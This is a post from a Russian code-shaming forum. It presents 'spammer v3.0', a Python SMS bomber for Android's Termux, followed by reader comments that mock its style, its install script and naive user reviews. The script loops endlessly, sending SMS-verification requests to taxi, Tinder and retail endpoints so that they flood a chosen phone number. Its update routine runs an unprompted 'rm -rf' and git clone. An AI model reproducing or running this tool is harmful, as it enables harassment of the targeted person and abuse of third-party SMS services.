Змея / Говнокод #26812 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
  34. 34
  35. 35
  36. 36
  37. 37
  38. 38
  39. 39
  40. 40
  41. 41
  42. 42
  43. 43
  44. 44
  45. 45
  46. 46
  47. 47
  48. 48
  49. 49
  50. 50
  51. 51
  52. 52
  53. 53
  54. 54
  55. 55
  56. 56
  57. 57
  58. 58
  59. 59
  60. 60
  61. 61
  62. 62
  63. 63
  64. 64
  65. 65
  66. 66
  67. 67
  68. 68
  69. 69
  70. 70
#!/usr/bin/python3
# spammer v3.0
# author: cludeex
import os, random, time, urllib
try: import requests
except: os.system("python -m pip install requests; spamer")
def logo():
    os.system('cls' if os.name=='nt' else 'clear')
    print(clr.blt+clr.gn+"  ___ ___  _   __  __ __  __ ___ ___\n / __| _ \\/_\\ |  \\/  |  \\/  | __| _ \\\n \\__ \\  _/ _ \\| |\\/| | |\\/| | _||   /\n |___/_|/_/ \\_\\_|  |_|_|  |_|___|_|_\\"+"\n\n    SMS Bomber: github.com/cludeex\n"+clr.end)
def update():
    up = input("Вы уверены, что хотите обновить? (y/n) ")
    if up == "y":
        os.system('cls' if os.name=='nt' else 'clear')
        os.system("cd && rm -rf ~/spammer && git clone https://github.com/cludeex/spammer && python ~/spammer/install.py")
        exit()
    else:
        print("Отменено")
        main(2)
def main(t):
    time.sleep(t)
    logo()
    print("[1] СМС СПАМЕР\n[2] ОБНОВИТЬ СПАМЕР.\n[3] ВЫХОД.\n")
    input1 = input(clr.bl+clr.blt+"Введите номер пункта: "+clr.end)
    try:
        requests.get("http://google.com", verify=True)
    except:
        logo()
        print(clr.blt+clr.rd+"[!] Нет интернет соединения."+clr.end)
        main(2)
    if input1 == "1":
        logo()
        _phone = input(clr.bl+clr.blt+"Введите номер: "+clr.end)
        if _phone == "":
           main(0)
        if len(_phone) == 11 or len(_phone) == 12 or len(_phone) == 13:
            pass
        else:
            logo()
            print(clr.blt+clr.rd+"[!] Неправильный номер."+clr.end)
            main(2)
        if _phone[0] == "+":
            _phone = _phone[1:]
        if _phone[0] == "8":
            _phone = "7"+_phone[1:]
        if _phone[0] == "9":
            _phone = "7"+_phone
        _name = ""
        for x in range(12):
            _name = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
            password = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
            username = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
        _phone9 = _phone[1:]
        _email = _name+"@gmail.com"
        email = _email
        logo()
        print("Телефон: "+clr.bl+clr.blt+_phone+clr.end+"\nСпамер запущен.\nЧтобы остановить спам - нажми Ctrl + Z")
        while True:
            if _phone[0] == "7":
                try:
                    requests.post("https://moscow.rutaxi.ru/ajax_keycode.html", data={"l": _phone9}).json()["res"]
                except:
                    pass
                try:
                    requests.post("https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru", data={"phone_number": _phone}, headers={})
                except:
                    pass
                try:
                    requests.post("https://app.karusel.ru/api/v1/phone/", data={"phone": _phone}, headers={})
                except:
                    pass

Мне друг сказал что мой код - говно. Что не так в нём?

Запостил: milkpro milkpro, (Updated )

Комментарии (55) RSS

  • 1. #!/usr/bin/python3 -> #!/usr/bin/env python3
    2. Не по «PEP8». Расстрелять!
    3. os.system("python -m pip install requests; spamer"): мало того, что такое неявное вмешательство в систему пользователя — само по себе адское дерьмо, так оно ещё и не сработает на системах с джвумя «Питонами»: пакет поставится во второй, а не в третий.
    4. \\/_\\ | \\/ | \\/ : какой багор )))
    5. "cd && rm -rf ~/spammer && git: расстрелять три раза! См. 3 пункт. А вдруг у пользователя в «~/spammer» стоит что-то другое? А вдруг `pwd` != ~?
    6. random.choice(list("123456789qwertyuiopa sdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBN M")): вынести в отдельную функцию, list(...) — в отдельную коньстанту.
    7. if _phone[0] == "7": если пользователь ввёл телефон с [1-6] в начале (111111111111, например), то программа просто зависнет и будет бесконечно гонять вечный цикл. Какой багор )))
    Ответить
  • - Что такое clr и где он импортируется?
    - после пип инсталла requests не импортируется
    Ответить
    • В посте не весь код, оказывается, весь в репозитории лежит (и состоит из охулиарда смешных try: post except: pass).
      class clr:
          rd = '\033[91m'
          gn = '\033[92m'
          yl = '\033[93m'
          bl = '\033[94m'
          mg = '\033[95m'
          cn = '\033[96m'
          wh = '\033[97m'
          gr = '\033[90m'
          blt = '\033[1m'
          end = '\033[0m'
      Ответить
  • «install.py» тоже красивый, кстати:
    import os
    os.system("pkg install dos2unix")
    os.system("pip install requests")
    os.system("cp ~/spammer/spammer.py /data/data/com.termux/files/usr/bin/spammer")
    os.system("dos2unix /data/data/com.termux/files/usr/bin/spammer")
    os.system("chmod 777 /data/data/com.termux/files/usr/bin/spammer")
    os.system("spammer")
    Ответить
    • /data/data — это для «Ведроида» что ли?

      Пытаюсь представить себе смартфон с «Питоном» на борту.
      Ответить
      • > /data/data — это для «Ведроида» что ли?
        Подтверждаю.

        > Пытаюсь представить себе смартфон с «Питоном» на борту.
        А в чём проблема? Там обычный «GNU/Linux», туда можно хоть «PHP» накатить. У меня, например, накачен «OpenSSH» с обёрткой: я через него файла с телефона на комп (и обратно) перебрасываю.
        У ТС в репозитории реальный пример: https://play.google.com/store/apps/details?id=com.termux&hl=ru.
        Ответить
        • Да я тоже много чего запускал. Я пытаюсь представить себе скрипткиддис, которые ради спама будут всё это накатывать и ругаться, что прыщебляди соснули.
          Ответить
          • Глянь отзывы у эмулятора терминала по ссылке, там восьмилетние дети ругаются, что у них «смс бомбер» не работает. Какой багор )))
            Ответить
            • >> Здравствуйте разработчики, скажите мне пожалуйста команды для смс бомбера,если вы мне скажите то я изменю свою оценку с 2 до 5звезд

              Какой багор )))
              Ответить
              • Notice: Undefined offset: 0 in /home/g/guestinho/govnokod.xyz/public_html/wp-includes/class-wp-query.php on line 3144
                Ответить
            • Божественно!!! Ломает wi-fi, Пентагон, микроволновку, настенный ковёр и брата кажись тоже цапануло. Нажал пару клавиш появился интернет, выйграл в лотерею и откосил от армии. Короче советую всем.
              Ответить
                • Ага, и вот это еще:

                  >>Приложение хорошое, но в Беларуси работает очень медленно.
                  Ответить
                    • gost, ты давно вуз какими эдиторами пользуешься?
                      Ответить
                      • «Notepad++» для текста/заметок/мелких скриптов или правок, «VS Code» для скриптушни вроде «Путона», «Visual Studio» для «C++».
                        UPD: Для бинарушни — «Hexplorer» и «HxD».
                        Ответить
                        • а если тебе на жобе писать приедтся, то что будеш использовать?

                          зы: для бинарушни под винду удобен xvi32
                          Ответить
                          • > а если тебе на жобе писать приедтся, то что будеш использовать?
                            «Eclipse».

                            > xvi32
                            Спасибо, гляну.
                            Ответить
                            • а вот у емакса есть hexl mode, и там довольно симпатичный редактор и есть команды типа
                              Insert a byte with a code typed in hex.
                              Insert a byte with a code typed in decimal.
                              Move to the beginning of a 1k-byte page.

                              разве не круть?
                              Ответить
            • Приложение хорошое, но в Беларуси работает очень медленно. Исправьте пожалуйста!!
              Ответить
              • Приложение очень хорошее. Замечательный эмулятор Linux на Android правда имеется один весьма неудобный минус. Приложение не приспособлено для людей с нарушениями зрения. Если на Linux всё озвучивается без проблем, то здесь с озвучкой действий очень большие проблемы. А так всё замечательно, даже и не…

                >>эмулятор Linux на Android
                wat?
                Ответить
              • А каг взламать вай фай сасида??? У мня не палучаэтся!!! Памагите!!! Сдилайти гайт панятнии чим андерменд!!!
                Ответить
              • >ставлю 3 звезды патамушто каманды некоторые неработают я хател взломать вебку естествино свою и в крайне поучительных целях а это не работает исправите поставлю 5 звёзд

                >я офигел когда вичислил ІР сайта но перед етим установил хак панель разрабам продолжать в том же духе

                >Проблема..... Команда git работает не правельно Просит логин и пороль от github Я вожу и всё ровно не качает. Это не всё файл я расширением sh не ставятся Тоесть папка не поевляется А так всё норм 3 звезды

                >Не скачивайте это приложение,там вирус,крадёт все данные с банковскими картами,и снимает все деньги ещё в тихую майнит биткойны ужааааас
                Ответить
              • Примем к сведению и попросим товарища майора читать чуть быстрее.
                Ответить

Добавить комментарий

Где здесь C++, guest?!

    А не использовать ли нам bbcode?


    8